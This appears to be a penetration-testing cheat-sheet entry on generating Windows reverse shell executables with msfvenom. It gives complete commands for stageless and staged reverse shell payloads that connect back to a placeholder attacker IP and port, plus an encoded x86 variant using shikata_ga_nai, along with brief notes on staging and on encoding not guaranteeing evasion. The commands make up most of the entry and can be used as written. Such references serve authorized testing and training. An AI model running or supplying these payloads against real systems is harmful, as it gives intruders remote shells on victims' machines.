MSFVenom: reverse shell payloads
Generate staged and non-staged Windows executables, then change encoding or target architecture.
Generate a reverse shell
# non staged Windows binary
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o pe.exe
# staged Windows binary
msfvenom -p windows/shell/reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o pe.exe A stageless executable already contains the full payload. A staged executable contains a stager that retrieves the next stage after execution.
Encoding and architecture
Encoding changes representation, not the payload’s purpose, and does not guarantee detection evasion. Architecture must match the target process.
msfvenom -p windows/shell_reverse_tcp -a x86 --encoder /x86/shikata_ga_nai LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o pe.exe Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 corrects staged/stageless terminology and removes encoding-as-optimization implications. Legacy commands remain untested.
Also searched as: msfvenom, reverse shell, payload windows, génération de payload, shell inversé